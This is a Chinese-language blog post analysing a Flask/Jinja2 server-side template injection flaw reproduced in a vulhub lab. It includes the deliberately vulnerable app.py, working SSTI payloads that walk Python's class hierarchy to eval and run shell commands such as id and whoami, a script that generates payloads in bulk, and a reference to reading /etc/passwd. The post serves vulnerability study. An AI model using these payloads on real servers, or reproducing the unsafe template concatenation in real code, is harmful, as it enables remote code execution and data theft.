Flask之SSTI服务端模版注入漏洞分析

Flask之SSTI服务端模版注入漏洞分析

恰好之前面试某安全公司时被问到这个漏洞,当时还没有研究过,现在花时间分析一下。这里我还是用vulhub上的环境来复现。SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题。

先修改配置文件换个端口启用docker,可以看到src目录只有一个app.py文件,直接查看app.py的代码如下。

from flask import Flask, request
from jinja2 import Template
 
app = Flask(__name__)
 
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
 
    t = Template("Hello " + name)
    return t.render()
 
if __name__ == "__main__":
    app.run()

即使没学过Flask这个Python的web框架,单从这段代码上我们也能看出问题,name是url传参过来的,没有值则默认为guest。而这里t = Template(“Hello ” + name)没有任何过滤直接将参数拼接。

分析漏洞之前对一些基础的知识进行了解。代码中还用了另外一个库叫jinja2。

Jinja2是基于python的模板引擎, 它能完全支持unicode,并具有集成的沙箱执行环境,应用广泛。在开发中,为了能使前端,后端的开发解耦,而使用类似标签等形式来简化前端数据展示的语法。这样前端的代码就具有更高的可维护性。而这个标签要输出数据,还需要模版引擎去渲染。而渲染的本质,最后就是将标签解析为标准的开发语言语法,由语言解释器去执行,最后展示出数据。

flask渲染jinja2模板,而所谓的jinja2模板就是html的基础上,在需要交互数据的地方加上了一些标注,然后就能实现前后端MVC,差不多就是这个意思了。

而模版引擎就是将模版中标签语法解释渲染页面的程序。主流的一些编程语言框架都有自己的模版引擎。如php语言的ThinPHP框架,Python的Django框架等。而一些优秀的模版引擎是可以使用的,如php的Twig,而Jinja2是Flask的支持模版引擎。

我们先不带参数请求。

没有传参给name,返回了默认值。那我们传入一个xss语句呢?

没有任何过滤,直接返回给前端执行了。

既然是模板注入,那有什么不同之处呢?直接使用用户输入内容作为模版内容,我们可以控制模版内容,而我们的输入也会被Jinja2模版引擎渲染,比如输入{{6*6}}。

我们传入的模板字符串被引擎解析计算出来了。这里参考网上的一些payload。

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

该payload相当于是执行的id命令。

为什么能够命令执行成功呢?大致分析一下。

[],{},”是Python中的内置变量。通过内置变量的一些属性或函数去访问当前Python环境中的对象继承树,可以从继承树爬到根对象类。利用__subclasses__()等函数爬向每一个Object,这样便可以利用当前Python环境执行任意代码。

我们就以这个payload为例,分析他是如何实现代码执行的,因为payload是结合了模板代码,我将其还原成Python来看,这里我做了一些改动,将popen换成system函数,这样更直接。

for c in [].__class__.__base__.__subclasses__():
    if c.__name__ == 'catch_warnings':
        for b in c.__init__.__globals__.values():
            if b.__class__ == {}.__class__ :
                if 'eval' in b.keys():
                    b['eval']('__import__("os").system("whoami")')

我们来看一下执行效果。

可以看到我们在本身没有加载os模块的情况下,将内置变量层层利用,从继承树爬到根对象类,调出builtins这个内建模块,因为其中包含很多built-in函数例如我们的eval,通过字符串的形式动态加载os模块实现命令执行。

整体的思路了解了,这里还需要提一下Python的魔法方法。

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

这里我是用的str类演示,Python的其他几种数据类型都可以的,虽然可以用__mro__,但是不如__base__直接。

那么在jinja2中获取基类的方法如下:

''.__class__.__mro__[-1]
{}.__class__.__base__
().__class__.__base__
[].__class__.__base__

我们再逐行分析代码。

当然可利用的类有很多,所以payload的作者随便选了一个名为catch_warnings的类。为什么上面图中有些不可利用,也就是<slot wrapper__init__ofobjectobjects>。

# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性。

比如通过这种方式调用eval进行打印

另外看到别的大佬根据该原理写的批量生成payload的脚本,感觉很不错。

from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

我自己测试了一下感觉还是很不错的。

再回到我们的漏洞环境测试一下payload,读取/etc/passwd。

另外还涉及到ssti的waf绕过,我觉得这算是研究漏洞本身的问题,网上很多,我也不在这里赘述了。

总结:

SSTI这个漏洞我觉得利用思路很棒,无法直接导入模块,通过Python基本数据类型运用魔法方法得到类到父类再到其他子类最终实现曲线救国!能想到这种思路真的需要编程基础很扎实对类的理解深刻加上巧妙的利用!

zgao

如果有什么技术上的问题,可以加我的qq 1761321396 一起交流。

目前为止有一条评论

英雄莫不孤独 发布于11:48 下午 - 7月 7, 2020

t = Template(“Hello ” + str(name))

一个未强制转换传入参数类型引发的血案。

“一切用户输入都是不可信的。”

— 鲁迅